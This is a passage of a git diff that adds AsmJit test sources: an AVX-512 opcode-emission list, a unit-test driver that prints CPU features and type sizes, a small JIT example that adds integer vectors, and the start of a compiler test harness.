a.vpxord(ymmA, ymmB, anyptr_gpC); + a.vpxord(zmmA, zmmB, zmmC); + a.vpxord(zmmA, zmmB, anyptr_gpC); + a.vpxorq(xmmA, xmmB, xmmC); + a.vpxorq(xmmA, xmmB, anyptr_gpC); + a.vpxorq(ymmA, ymmB, ymmC); + a.vpxorq(ymmA, ymmB, anyptr_gpC); + a.vpxorq(zmmA, zmmB, zmmC); + a.vpxorq(zmmA, zmmB, anyptr_gpC); + a.vrangepd(xmmA, xmmB, xmmC, 0); + a.vrangepd(xmmA, xmmB, anyptr_gpC, 0); + a.vrangepd(ymmA, ymmB, ymmC, 0); + a.vrangepd(ymmA, ymmB, anyptr_gpC, 0); + a.vrangepd(zmmA, zmmB, zmmC, 0); + a.vrangepd(zmmA, zmmB, anyptr_gpC, 0); + a.vrangeps(xmmA, xmmB, xmmC, 0); + a.vrangeps(xmmA, xmmB, anyptr_gpC, 0); + a.vrangeps(ymmA, ymmB, ymmC, 0); + a.vrangeps(ymmA, ymmB, anyptr_gpC, 0); + a.vrangeps(zmmA, zmmB, zmmC, 0); + a.vrangeps(zmmA, zmmB, anyptr_gpC, 0); + a.vrangesd(xmmA, xmmB, xmmC, 0); + a.vrangesd(xmmA, xmmB, anyptr_gpC, 0); + a.vrangess(xmmA, xmmB, xmmC, 0); + a.vrangess(xmmA, xmmB, anyptr_gpC, 0); + a.vrcp14pd(xmmA, xmmB); + a.vrcp14pd(xmmA, anyptr_gpB); + a.vrcp14pd(ymmA, ymmB); + a.vrcp14pd(ymmA, anyptr_gpB); + a.vrcp14pd(zmmA, zmmB); + a.vrcp14pd(zmmA, anyptr_gpB); + a.vrcp14ps(xmmA, xmmB); + a.vrcp14ps(xmmA, anyptr_gpB); + a.vrcp14ps(ymmA, ymmB); + a.vrcp14ps(ymmA, anyptr_gpB); + a.vrcp14ps(zmmA, zmmB); + a.vrcp14ps(zmmA, anyptr_gpB); + a.vrcp14sd(xmmA, xmmB, xmmC); + a.vrcp14sd(xmmA, xmmB, anyptr_gpC); + a.vrcp14ss(xmmA, xmmB, xmmC); + a.vrcp14ss(xmmA, xmmB, anyptr_gpC); + a.vrcp28pd(zmmA, zmmB); + a.vrcp28pd(zmmA, anyptr_gpB); + a.vrcp28ps(zmmA, zmmB); + a.vrcp28ps(zmmA, anyptr_gpB); + a.vrcp28sd(xmmA, xmmB, xmmC); + a.vrcp28sd(xmmA, xmmB, anyptr_gpC); + a.vrcp28ss(xmmA, xmmB, xmmC); + a.vrcp28ss(xmmA, xmmB, anyptr_gpC); + a.vreducepd(xmmA, xmmB, 0); + a.vreducepd(xmmA, anyptr_gpB, 0); + a.vreducepd(ymmA, ymmB, 0); + a.vreducepd(ymmA, anyptr_gpB, 0); + a.vreducepd(zmmA, zmmB, 0); + a.vreducepd(zmmA, anyptr_gpB, 0); + a.vreduceps(xmmA, xmmB, 0); + a.vreduceps(xmmA, anyptr_gpB, 0); + a.vreduceps(ymmA, ymmB, 0); + a.vreduceps(ymmA, anyptr_gpB, 0); + a.vreduceps(zmmA, zmmB, 0); + a.vreduceps(zmmA, anyptr_gpB, 0); + a.vreducesd(xmmA, xmmB, xmmC, 0); + a.vreducesd(xmmA, xmmB, anyptr_gpC, 0); + a.vreducess(xmmA, xmmB, xmmC, 0); + a.vreducess(xmmA, xmmB, anyptr_gpC, 0); + a.vrndscalepd(xmmA, xmmB, 0); + a.vrndscalepd(xmmA, anyptr_gpB, 0); + a.vrndscalepd(ymmA, ymmB, 0); + a.vrndscalepd(ymmA, anyptr_gpB, 0); + a.vrndscalepd(zmmA, zmmB, 0); + a.vrndscalepd(zmmA, anyptr_gpB, 0); + a.vrndscaleps(xmmA, xmmB, 0); + a.vrndscaleps(xmmA, anyptr_gpB, 0); + a.vrndscaleps(ymmA, ymmB, 0); + a.vrndscaleps(ymmA, anyptr_gpB, 0); + a.vrndscaleps(zmmA, zmmB, 0); + a.vrndscaleps(zmmA, anyptr_gpB, 0); + a.vrndscalesd(xmmA, xmmB, xmmC, 0); + a.vrndscalesd(xmmA, xmmB, anyptr_gpC, 0); + a.vrndscaless(xmmA, xmmB, xmmC, 0); + a.vrndscaless(xmmA, xmmB, anyptr_gpC, 0); + a.vrsqrt14pd(xmmA, xmmB); + a.vrsqrt14pd(xmmA, anyptr_gpB); + a.vrsqrt14pd(ymmA, ymmB); + a.vrsqrt14pd(ymmA, anyptr_gpB); + a.vrsqrt14pd(zmmA, zmmB); + a.vrsqrt14pd(zmmA, anyptr_gpB); + a.vrsqrt14ps(xmmA, xmmB); + a.vrsqrt14ps(xmmA, anyptr_gpB); + a.vrsqrt14ps(ymmA, ymmB); + a.vrsqrt14ps(ymmA, anyptr_gpB); + a.vrsqrt14ps(zmmA, zmmB); + a.vrsqrt14ps(zmmA, anyptr_gpB); + a.vrsqrt14sd(xmmA, xmmB, xmmC); + a.vrsqrt14sd(xmmA, xmmB, anyptr_gpC); + a.vrsqrt14ss(xmmA, xmmB, xmmC); + a.vrsqrt14ss(xmmA, xmmB, anyptr_gpC); + a.vrsqrt28pd(zmmA, zmmB); + a.vrsqrt28pd(zmmA, anyptr_gpB); + a.vrsqrt28ps(zmmA, zmmB); + a.vrsqrt28ps(zmmA, anyptr_gpB); + a.vrsqrt28sd(xmmA, xmmB, xmmC); + a.vrsqrt28sd(xmmA, xmmB, anyptr_gpC); + a.vrsqrt28ss(xmmA, xmmB, xmmC); + a.vrsqrt28ss(xmmA, xmmB, anyptr_gpC); + a.vscalefpd(xmmA, xmmB, xmmC); + a.vscalefpd(xmmA, xmmB, anyptr_gpC); + a.vscalefpd(ymmA, ymmB, ymmC); + a.vscalefpd(ymmA, ymmB, anyptr_gpC); + a.vscalefpd(zmmA, zmmB, zmmC); + a.vscalefpd(zmmA, zmmB, anyptr_gpC); + a.vscalefps(xmmA, xmmB, xmmC); + a.vscalefps(xmmA, xmmB, anyptr_gpC); + a.vscalefps(ymmA, ymmB, ymmC); + a.vscalefps(ymmA, ymmB, anyptr_gpC); + a.vscalefps(zmmA, zmmB, zmmC); + a.vscalefps(zmmA, zmmB, anyptr_gpC); + a.vscalefsd(xmmA, xmmB, xmmC); + a.vscalefsd(xmmA, xmmB, anyptr_gpC); + a.vscalefss(xmmA, xmmB, xmmC); + a.vscalefss(xmmA, xmmB, anyptr_gpC); + a.vscatterdpd(vx_ptr, xmmB); + a.vscatterdpd(vx_ptr, ymmB); + a.vscatterdpd(vy_ptr, zmmB); + a.vscatterdps(vx_ptr, xmmB); + a.vscatterdps(vy_ptr, ymmB); + a.vscatterdps(vz_ptr, zmmB); + a.vscatterpf0dpd(vy_ptr); + a.vscatterpf0dps(vz_ptr); + a.vscatterpf0qpd(vz_ptr); + a.vscatterpf0qps(vz_ptr); + a.vscatterpf1dpd(vy_ptr); + a.vscatterpf1dps(vz_ptr); + a.vscatterpf1qpd(vz_ptr); + a.vscatterpf1qps(vz_ptr); + a.vscatterqpd(vx_ptr, xmmB); + a.vscatterqpd(vy_ptr, ymmB); + a.vscatterqpd(vz_ptr, zmmB); + a.vscatterqps(vx_ptr, xmmB); + a.vscatterqps(vy_ptr, xmmB); + a.vscatterqps(vz_ptr, ymmB); + a.vshuff32x4(ymmA, ymmB, ymmC, 0); + a.vshuff32x4(ymmA, ymmB, anyptr_gpC, 0); + a.vshuff32x4(zmmA, zmmB, zmmC, 0); + a.vshuff32x4(zmmA, zmmB, anyptr_gpC, 0); + a.vshuff64x2(ymmA, ymmB, ymmC, 0); + a.vshuff64x2(ymmA, ymmB, anyptr_gpC, 0); + a.vshuff64x2(zmmA, zmmB, zmmC, 0); + a.vshuff64x2(zmmA, zmmB, anyptr_gpC, 0); + a.vshufi32x4(ymmA, ymmB, ymmC, 0); + a.vshufi32x4(ymmA, ymmB, anyptr_gpC, 0); + a.vshufi32x4(zmmA, zmmB, zmmC, 0); + a.vshufi32x4(zmmA, zmmB, anyptr_gpC, 0); + a.vshufi64x2(ymmA, ymmB, ymmC, 0); + a.vshufi64x2(ymmA, ymmB, anyptr_gpC, 0); + a.vshufi64x2(zmmA, zmmB, zmmC, 0); + a.vshufi64x2(zmmA, zmmB, anyptr_gpC, 0); + a.vshufpd(xmmA, xmmB, xmmC, 0); + a.vshufpd(xmmA, xmmB, anyptr_gpC, 0); + a.vshufpd(ymmA, ymmB, ymmC, 0); + a.vshufpd(ymmA, ymmB, anyptr_gpC, 0); + a.vshufpd(zmmA, zmmB, zmmC, 0); + a.vshufpd(zmmA, zmmB, anyptr_gpC, 0); + a.vshufps(xmmA, xmmB, xmmC, 0); + a.vshufps(xmmA, xmmB, anyptr_gpC, 0); + a.vshufps(ymmA, ymmB, ymmC, 0); + a.vshufps(ymmA, ymmB, anyptr_gpC, 0); + a.vshufps(zmmA, zmmB, zmmC, 0); + a.vshufps(zmmA, zmmB, anyptr_gpC, 0); + a.vsqrtpd(xmmA, xmmB); + a.vsqrtpd(xmmA, anyptr_gpB); + a.vsqrtpd(ymmA, ymmB); + a.vsqrtpd(ymmA, anyptr_gpB); + a.vsqrtpd(zmmA, zmmB); + a.vsqrtpd(zmmA, anyptr_gpB); + a.vsqrtps(xmmA, xmmB); + a.vsqrtps(xmmA, anyptr_gpB); + a.vsqrtps(ymmA, ymmB); + a.vsqrtps(ymmA, anyptr_gpB); + a.vsqrtps(zmmA, zmmB); + a.vsqrtps(zmmA, anyptr_gpB); + a.vsqrtsd(xmmA, xmmB, xmmC); + a.vsqrtsd(xmmA, xmmB, anyptr_gpC); + a.vsqrtss(xmmA, xmmB, xmmC); + a.vsqrtss(xmmA, xmmB, anyptr_gpC); + a.vsubpd(xmmA, xmmB, xmmC); + a.vsubpd(xmmA, xmmB, anyptr_gpC); + a.vsubpd(ymmA, ymmB, ymmC); + a.vsubpd(ymmA, ymmB, anyptr_gpC); + a.vsubpd(zmmA, zmmB, zmmC); + a.vsubpd(zmmA, zmmB, anyptr_gpC); + a.vsubps(xmmA, xmmB, xmmC); + a.vsubps(xmmA, xmmB, anyptr_gpC); + a.vsubps(ymmA, ymmB, ymmC); + a.vsubps(ymmA, ymmB, anyptr_gpC); + a.vsubps(zmmA, zmmB, zmmC); + a.vsubps(zmmA, zmmB, anyptr_gpC); + a.vsubsd(xmmA, xmmB, xmmC); + a.vsubsd(xmmA, xmmB, anyptr_gpC); + a.vsubss(xmmA, xmmB, xmmC); + a.vsubss(xmmA, xmmB, anyptr_gpC); + a.vucomisd(xmmA, xmmB); + a.vucomisd(xmmA, anyptr_gpB); + a.vucomiss(xmmA, xmmB); + a.vucomiss(xmmA, anyptr_gpB); + a.vunpckhpd(xmmA, xmmB, xmmC); + a.vunpckhpd(xmmA, xmmB, anyptr_gpC); + a.vunpckhpd(ymmA, ymmB, ymmC); + a.vunpckhpd(ymmA, ymmB, anyptr_gpC); + a.vunpckhpd(zmmA, zmmB, zmmC); + a.vunpckhpd(zmmA, zmmB, anyptr_gpC); + a.vunpckhps(xmmA, xmmB, xmmC); + a.vunpckhps(xmmA, xmmB, anyptr_gpC); + a.vunpckhps(ymmA, ymmB, ymmC); + a.vunpckhps(ymmA, ymmB, anyptr_gpC); + a.vunpckhps(zmmA, zmmB, zmmC); + a.vunpckhps(zmmA, zmmB, anyptr_gpC); + a.vunpcklpd(xmmA, xmmB, xmmC); + a.vunpcklpd(xmmA, xmmB, anyptr_gpC); + a.vunpcklpd(ymmA, ymmB, ymmC); + a.vunpcklpd(ymmA, ymmB, anyptr_gpC); + a.vunpcklpd(zmmA, zmmB, zmmC); + a.vunpcklpd(zmmA, zmmB, anyptr_gpC); + a.vunpcklps(xmmA, xmmB, xmmC); + a.vunpcklps(xmmA, xmmB, anyptr_gpC); + a.vunpcklps(ymmA, ymmB, ymmC); + a.vunpcklps(ymmA, ymmB, anyptr_gpC); + a.vunpcklps(zmmA, zmmB, zmmC); + a.vunpcklps(zmmA, zmmB, anyptr_gpC); + a.vxorpd(xmmA, xmmB, xmmC); + a.vxorpd(xmmA, xmmB, anyptr_gpC); + a.vxorpd(ymmA, ymmB, ymmC); + a.vxorpd(ymmA, ymmB, anyptr_gpC); + a.vxorpd(zmmA, zmmB, zmmC); + a.vxorpd(zmmA, zmmB, anyptr_gpC); + a.vxorps(xmmA, xmmB, xmmC); + a.vxorps(xmmA, xmmB, anyptr_gpC); + a.vxorps(ymmA, ymmB, ymmC); + a.vxorps(ymmA, ymmB, anyptr_gpC); + a.vxorps(zmmA, zmmB, zmmC); + a.vxorps(zmmA, zmmB, anyptr_gpC); + + // Mark the end. + a.nop(); + a.nop(); + a.nop(); + a.nop(); +} + +} // asmtest namespace + +// [Guard] +#endif // _ASMJIT_TEST_OPCODE_H diff --git a/asmjit/test/asmjit_test_unit.cpp b/asmjit/test/asmjit_test_unit.cpp new file mode 100644 index 0000000..8b6501a --- /dev/null +++ b/asmjit/test/asmjit_test_unit.cpp @@ -0,0 +1,272 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Dependencies] +#include "./asmjit.h" + +using namespace asmjit; + +// ============================================================================ +// [DumpCpu] +// ============================================================================ + +struct DumpCpuFeature { + uint32_t feature; + const char* name; +}; + +static void dumpCpuFeatures(const CpuInfo& cpu, const DumpCpuFeature* data, size_t count) { + for (size_t i = 0; i < count; i++) + if (cpu.hasFeature(data[i].feature)) + INFO(" %s", data[i].name); +} + +static void dumpCpu(void) { + const CpuInfo& cpu = CpuInfo::getHost(); + + INFO("Host CPU:"); + INFO(" Vendor string : %s", cpu.getVendorString()); + INFO(" Brand string : %s", cpu.getBrandString()); + INFO(" Family : %u", cpu.getFamily()); + INFO(" Model : %u", cpu.getModel()); + INFO(" Stepping : %u", cpu.getStepping()); + INFO(" HW-Threads Count : %u", cpu.getHwThreadsCount()); + INFO(""); + + // -------------------------------------------------------------------------- + // [ARM / ARM64] + // -------------------------------------------------------------------------- + +#if ASMJIT_ARCH_ARM32 || ASMJIT_ARCH_ARM64 + static const DumpCpuFeature armFeaturesList[] = { + { CpuInfo::kArmFeatureV6 , "ARMv6" }, + { CpuInfo::kArmFeatureV7 , "ARMv7" }, + { CpuInfo::kArmFeatureV8 , "ARMv8" }, + { CpuInfo::kArmFeatureTHUMB , "THUMB" }, + { CpuInfo::kArmFeatureTHUMB2 , "THUMBv2" }, + { CpuInfo::kArmFeatureVFP2 , "VFPv2" }, + { CpuInfo::kArmFeatureVFP3 , "VFPv3" }, + { CpuInfo::kArmFeatureVFP4 , "VFPv4" }, + { CpuInfo::kArmFeatureVFP_D32 , "VFP D32" }, + { CpuInfo::kArmFeatureNEON , "NEON" }, + { CpuInfo::kArmFeatureDSP , "DSP" }, + { CpuInfo::kArmFeatureIDIV , "IDIV" }, + { CpuInfo::kArmFeatureAES , "AES" }, + { CpuInfo::kArmFeatureCRC32 , "CRC32" }, + { CpuInfo::kArmFeatureSHA1 , "SHA1" }, + { CpuInfo::kArmFeatureSHA256 , "SHA256" }, + { CpuInfo::kArmFeatureAtomics64 , "64-bit atomics" } + }; + + INFO("ARM Features:"); + dumpCpuFeatures(cpu, armFeaturesList, ASMJIT_ARRAY_SIZE(armFeaturesList)); + INFO(""); +#endif + + // -------------------------------------------------------------------------- + // [X86 / X64] + // -------------------------------------------------------------------------- + +#if ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64 + static const DumpCpuFeature x86FeaturesList[] = { + { CpuInfo::kX86FeatureNX , "NX (Non-Execute Bit)" }, + { CpuInfo::kX86FeatureMT , "MT (Multi-Threading)" }, + { CpuInfo::kX86FeatureCMOV , "CMOV" }, + { CpuInfo::kX86FeatureCMPXCHG8B , "CMPXCHG8B" }, + { CpuInfo::kX86FeatureCMPXCHG16B , "CMPXCHG16B" }, + { CpuInfo::kX86FeatureMSR , "MSR" }, + { CpuInfo::kX86FeatureRDTSC , "RDTSC" }, + { CpuInfo::kX86FeatureRDTSCP , "RDTSCP" }, + { CpuInfo::kX86FeatureCLFLUSH , "CLFLUSH" }, + { CpuInfo::kX86FeatureCLFLUSHOPT , "CLFLUSHOPT" }, + { CpuInfo::kX86FeatureCLWB , "CLWB" }, + { CpuInfo::kX86FeatureCLZERO , "CLZERO" }, + { CpuInfo::kX86FeaturePCOMMIT , "PCOMMIT" }, + { CpuInfo::kX86FeaturePREFETCHW , "PREFETCHW" }, + { CpuInfo::kX86FeaturePREFETCHWT1 , "PREFETCHWT1" }, + { CpuInfo::kX86FeatureLAHFSAHF , "LAHF/SAHF" }, + { CpuInfo::kX86FeatureFXSR , "FXSR" }, + { CpuInfo::kX86FeatureFXSROPT , "FXSROPT" }, + { CpuInfo::kX86FeatureMMX , "MMX" }, + { CpuInfo::kX86FeatureMMX2 , "MMX2" }, + { CpuInfo::kX86Feature3DNOW , "3DNOW" }, + { CpuInfo::kX86Feature3DNOW2 , "3DNOW2" }, + { CpuInfo::kX86FeatureSSE , "SSE" }, + { CpuInfo::kX86FeatureSSE2 , "SSE2" }, + { CpuInfo::kX86FeatureSSE3 , "SSE3" }, + { CpuInfo::kX86FeatureSSSE3 , "SSSE3" }, + { CpuInfo::kX86FeatureSSE4A , "SSE4A" }, + { CpuInfo::kX86FeatureSSE4_1 , "SSE4.1" }, + { CpuInfo::kX86FeatureSSE4_2 , "SSE4.2" }, + { CpuInfo::kX86FeatureMSSE , "Misaligned SSE" }, + { CpuInfo::kX86FeatureMONITOR , "MONITOR/MWAIT" }, + { CpuInfo::kX86FeatureMOVBE , "MOVBE" }, + { CpuInfo::kX86FeaturePOPCNT , "POPCNT" }, + { CpuInfo::kX86FeatureLZCNT , "LZCNT" }, + { CpuInfo::kX86FeatureAESNI , "AESNI" }, + { CpuInfo::kX86FeaturePCLMULQDQ , "PCLMULQDQ" }, + { CpuInfo::kX86FeatureRDRAND , "RDRAND" }, + { CpuInfo::kX86FeatureRDSEED , "RDSEED" }, + { CpuInfo::kX86FeatureSMAP , "SMAP" }, + { CpuInfo::kX86FeatureSMEP , "SMEP" }, + { CpuInfo::kX86FeatureSHA , "SHA" }, + { CpuInfo::kX86FeatureXSAVE , "XSAVE" }, + { CpuInfo::kX86FeatureXSAVEC , "XSAVEC" }, + { CpuInfo::kX86FeatureXSAVES , "XSAVES" }, + { CpuInfo::kX86FeatureXSAVEOPT , "XSAVEOPT" }, + { CpuInfo::kX86FeatureOSXSAVE , "OSXSAVE" }, + { CpuInfo::kX86FeatureAVX , "AVX" }, + { CpuInfo::kX86FeatureAVX2 , "AVX2" }, + { CpuInfo::kX86FeatureF16C , "F16C" }, + { CpuInfo::kX86FeatureFMA , "FMA" }, + { CpuInfo::kX86FeatureFMA4 , "FMA4" }, + { CpuInfo::kX86FeatureXOP , "XOP" }, + { CpuInfo::kX86FeatureBMI , "BMI" }, + { CpuInfo::kX86FeatureBMI2 , "BMI2" }, + { CpuInfo::kX86FeatureADX , "ADX" }, + { CpuInfo::kX86FeatureTBM , "TBM" }, + { CpuInfo::kX86FeatureMPX , "MPX" }, + { CpuInfo::kX86FeatureHLE , "HLE" }, + { CpuInfo::kX86FeatureRTM , "RTM" }, + { CpuInfo::kX86FeatureTSX , "TSX" }, + { CpuInfo::kX86FeatureERMS , "ERMS" }, + { CpuInfo::kX86FeatureFSGSBASE , "FSGSBASE" }, + { CpuInfo::kX86FeatureAVX512_F , "AVX512-F" }, + { CpuInfo::kX86FeatureAVX512_CDI , "AVX512-CDI" }, + { CpuInfo::kX86FeatureAVX512_PFI , "AVX512-PFI" }, + { CpuInfo::kX86FeatureAVX512_ERI , "AVX512-ERI" }, + { CpuInfo::kX86FeatureAVX512_DQ , "AVX512-DQ" }, + { CpuInfo::kX86FeatureAVX512_BW , "AVX512-BW" }, + { CpuInfo::kX86FeatureAVX512_VL , "AVX512-VL" }, + { CpuInfo::kX86FeatureAVX512_IFMA , "AVX512-IFMA" }, + { CpuInfo::kX86FeatureAVX512_VBMI , "AVX512-VBMI" }, + { CpuInfo::kX86FeatureAVX512_VPOPCNTDQ, "AVX512-VPOPCNTDQ" }, + { CpuInfo::kX86FeatureAVX512_4FMAPS , "AVX512-4FMAPS" }, + { CpuInfo::kX86FeatureAVX512_4VNNIW , "AVX512-4VNNIW" } + }; + + INFO("X86 Specific:"); + INFO(" Processor Type : %u", cpu.getX86ProcessorType()); + INFO(" Brand Index : %u", cpu.getX86BrandIndex()); + INFO(" CL Flush Cache Line : %u", cpu.getX86FlushCacheLineSize()); + INFO(" Max logical Processors : %u", cpu.getX86MaxLogicalProcessors()); + INFO(""); + + INFO("X86 Features:"); + dumpCpuFeatures(cpu, x86FeaturesList, ASMJIT_ARRAY_SIZE(x86FeaturesList)); + INFO(""); +#endif +} + +// ============================================================================ +// [DumpSizeOf] +// ============================================================================ + +#define DUMP_TYPE(...) \ + INFO(" %-26s: %u", #__VA_ARGS__, static_cast(sizeof(__VA_ARGS__))) + +static void dumpSizeOf(void) { + INFO("Size of built-ins:"); + DUMP_TYPE(int8_t); + DUMP_TYPE(int16_t); + DUMP_TYPE(int32_t); + DUMP_TYPE(int64_t); + DUMP_TYPE(int); + DUMP_TYPE(long); + DUMP_TYPE(size_t); + DUMP_TYPE(intptr_t); + DUMP_TYPE(float); + DUMP_TYPE(double); + DUMP_TYPE(void*); + INFO(""); + + INFO("Size of Base:"); + DUMP_TYPE(Assembler); + DUMP_TYPE(CodeBuffer); + DUMP_TYPE(CodeEmitter); + DUMP_TYPE(CodeHolder); + DUMP_TYPE(ConstPool); + DUMP_TYPE(LabelEntry); + DUMP_TYPE(RelocEntry); + DUMP_TYPE(Runtime); + DUMP_TYPE(SectionEntry); + DUMP_TYPE(StringBuilder); + DUMP_TYPE(Zone); + DUMP_TYPE(ZoneHeap); + DUMP_TYPE(ZoneHash); + DUMP_TYPE(ZoneList); + DUMP_TYPE(ZoneVector); + INFO(""); + + INFO("Size of Operand:"); + DUMP_TYPE(Operand); + DUMP_TYPE(Reg); + DUMP_TYPE(Mem); + DUMP_TYPE(Imm); + DUMP_TYPE(Label); + INFO(""); + + INFO("Size of Func:"); + DUMP_TYPE(CallConv); + DUMP_TYPE(FuncSignature); + DUMP_TYPE(FuncDetail); + DUMP_TYPE(FuncDetail::Value); + DUMP_TYPE(FuncArgsMapper); + DUMP_TYPE(FuncArgsMapper::Value); + DUMP_TYPE(FuncFrameInfo); + DUMP_TYPE(FuncFrameLayout); + + INFO("Size of CodeBuilder:"); + DUMP_TYPE(CodeBuilder); + DUMP_TYPE(CBNode); + DUMP_TYPE(CBInst); + DUMP_TYPE(CBJump); + DUMP_TYPE(CBData); + DUMP_TYPE(CBAlign); + DUMP_TYPE(CBLabel); + DUMP_TYPE(CBComment); + DUMP_TYPE(CBSentinel); + +#if !defined(ASMJIT_DISABLE_COMPILER) + INFO("Size of CodeCompiler:"); + DUMP_TYPE(CodeCompiler); + DUMP_TYPE(CCFunc); + DUMP_TYPE(CCFuncRet); + DUMP_TYPE(CCFuncCall); + INFO(""); +#endif // !ASMJIT_DISABLE_COMPILER + +#if defined(ASMJIT_BUILD_X86) + INFO("Size of X86-Backend:"); + DUMP_TYPE(X86Assembler); +#if !defined(ASMJIT_DISABLE_COMPILER) + DUMP_TYPE(X86Compiler); +#endif // !ASMJIT_DISABLE_COMPILER + DUMP_TYPE(X86Inst); + DUMP_TYPE(X86Inst::CommonData); + DUMP_TYPE(X86Inst::OperationData); + DUMP_TYPE(X86Inst::SseToAvxData); + DUMP_TYPE(X86Inst::ISignature); + DUMP_TYPE(X86Inst::OSignature); + INFO(""); +#endif // ASMJIT_BUILD_X86 +} + +#undef DUMP_TYPE + +// ============================================================================ +// [Main] +// ============================================================================ + +static void onBeforeRun(void) { + dumpCpu(); + dumpSizeOf(); +} + +int main(int argc, const char* argv[]) { + INFO("AsmJit Unit-Test\n\n"); + return BrokenAPI::run(argc, argv, onBeforeRun); +} diff --git a/asmjit/test/asmjit_test_x86_asm.cpp b/asmjit/test/asmjit_test_x86_asm.cpp new file mode 100644 index 0000000..6b6e990 --- /dev/null +++ b/asmjit/test/asmjit_test_x86_asm.cpp @@ -0,0 +1,95 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Dependencies] +#include +#include +#include +#include + +#include "./asmjit.h" + +using namespace asmjit; + +// Signature of the generated function. +typedef void (*SumIntsFunc)(int* dst, const int* a, const int* b); + +// This function works for both X86Assembler and X86Builder. It shows how +// `X86Emitter` can be used to make your code more generic. +static void makeFunc(X86Emitter* emitter) { + // Decide which registers will be mapped to function arguments. Try changing + // registers of `dst`, `src_a`, and `src_b` and see what happens in function's + // prolog and epilog. + X86Gp dst = emitter->zax(); + X86Gp src_a = emitter->zcx(); + X86Gp src_b = emitter->zdx(); + + // Decide which vector registers to use. We use these to keep the code generic, + // you can switch to any other registers when needed. + X86Xmm vec0 = x86::xmm0; + X86Xmm vec1 = x86::xmm1; + + // Create and initialize `FuncDetail` and `FuncFrameInfo`. Both are + // needed to create a function and they hold different kind of data. + FuncDetail func; + func.init(FuncSignature3(CallConv::kIdHost)); + + FuncFrameInfo ffi; + ffi.setDirtyRegs(X86Reg::kKindVec, // Make XMM0 and XMM1 dirty. VEC kind + Utils::mask(0, 1)); // describes XMM|YMM|ZMM registers. + + FuncArgsMapper args(&func); // Create function arguments mapper. + args.assignAll(dst, src_a, src_b); // Assign our registers to arguments. + args.updateFrameInfo(ffi); // Reflect our args in FuncFrameInfo. + + FuncFrameLayout layout; // Create the FuncFrameLayout, which + layout.init(func, ffi); // contains metadata of prolog/epilog. + + // Emit function prolog and allocate arguments to registers. + FuncUtils::emitProlog(emitter, layout); + FuncUtils::allocArgs(emitter, layout, args); + + emitter->movdqu(vec0, x86::ptr(src_a)); // Load 4 ints from [src_a] to XMM0. + emitter->movdqu(vec1, x86::ptr(src_b)); // Load 4 ints from [src_b] to XMM1. + emitter->paddd(vec0, vec1); // Add 4 ints in XMM1 to XMM0. + emitter->movdqu(x86::ptr(dst), vec0); // Store the result to [dst]. + + // Emit function epilog and return. + FuncUtils::emitEpilog(emitter, layout); +} + +int main(int argc, char* argv[]) { + JitRuntime rt; // Create JIT Runtime + + CodeHolder code; // Create a CodeHolder. + code.init(rt.getCodeInfo()); // Initialize it to match `rt`. + X86Assembler a(&code); // Create and attach X86Assembler to `code`. + + FileLogger logger(stderr); + code.setLogger(&logger); + + makeFunc(a.asEmitter()); + + SumIntsFunc fn; + Error err = rt.add(&fn, &code); // Add the code generated to the runtime. + if (err) return 1; // Handle a possible error case. + + // Execute the generated function. + int inA[4] = { 4, 3, 2, 1 }; + int inB[4] = { 1, 5, 2, 8 }; + int out[4]; + fn(out, inA, inB); + + // Prints {5 8 4 9} + printf("{%d %d %d %d}\n", out[0], out[1], out[2], out[3]); + + rt.release(fn); + + if (out[0] == 5 && out[1] == 8 && out[2] == 4 && out[3] == 9) + return 0; + else + return 1; +} diff --git a/asmjit/test/asmjit_test_x86_cc.cpp b/asmjit/test/asmjit_test_x86_cc.cpp new file mode 100644 index 0000000..a898c2e --- /dev/null +++ b/asmjit/test/asmjit_test_x86_cc.cpp @@ -0,0 +1,3666 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Dependencies] +#include +#include +#include +#include + +#include "./asmjit.h" +#include "./asmjit_test_misc.h" + +using namespace asmjit; + +// ============================================================================ +// [MyErrorHandler] +// ============================================================================ + +class MyErrorHandler : public ErrorHandler { +public: + virtual bool handleError(Error err, const char* message, CodeEmitter* origin) { + fprintf(stderr, "ERROR: %s\n", message); + return false; + } +}; + +// ============================================================================ +// [X86Test] +// ============================================================================ + +//! Interface used to test CodeCompiler. +class X86Test { +public: + X86Test(const char* name = NULL) { _name.setString(name); } + virtual ~X86Test() {} + + ASMJIT_INLINE const char* getName() const { return _name.getData(); } + + virtual void compile(X86Compiler& c) = 0; + virtual bool run(void* func, StringBuilder& result, StringBuilder& expect) = 0; + + StringBuilder _name; +}; + +// ============================================================================ +// [X86TestManager] +// ============================================================================ + +class X86TestManager { +public: + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + X86TestManager(); + ~X86TestManager(); + + // -------------------------------------------------------------------------- + // [Methods] + // -------------------------------------------------------------------------- + + inline Error add(X86Test* test) { return _tests.append(&_zoneHeap, test); } + + int run(); + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + Zone _zone; + ZoneHeap _zoneHeap; + ZoneVector _tests; + + int _returnCode; + int _binSize; + bool _verbose; + StringBuilder _output; +}; + +X86TestManager::X86TestManager() : + _zone(8096 - Zone::kZoneOverhead), + _zoneHeap(&_zone), + _returnCode(0), + _binSize(0), + _verbose(false) {} + +X86TestManager::~X86TestManager() { + size_t i; + size_t count = _tests.getLength(); + + for (i = 0; i < count; i++) { + X86Test* test = _tests[i]; + delete test; + } +} + +int X86TestManager::run() { + size_t i; + size_t count = _tests.getLength(); + + FILE* file = stdout; + +#if !defined(ASMJIT_DISABLE_LOGGING) + FileLogger fileLogger(file); + fileLogger.addOptions(Logger::kOptionBinaryForm); + + StringLogger stringLogger; + stringLogger.addOptions(Logger::kOptionBinaryForm); +#endif // ASMJIT_DISABLE_LOGGING + + MyErrorHandler errorHandler; + + for (i = 0; i < count; i++) { + JitRuntime runtime; + + CodeHolder code; + code.init(runtime.getCodeInfo()); + code.setErrorHandler(&errorHandler); + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (_verbose) { + fprintf(file, "\n"); + code.setLogger(&fileLogger); + } + else { + stringLogger.clearString(); + code.setLogger(&stringLogger); + } +#endif // ASMJIT_DISABLE_LOGGING + + X86Compiler cc(&code); + X86Test* test = _tests[i]; + 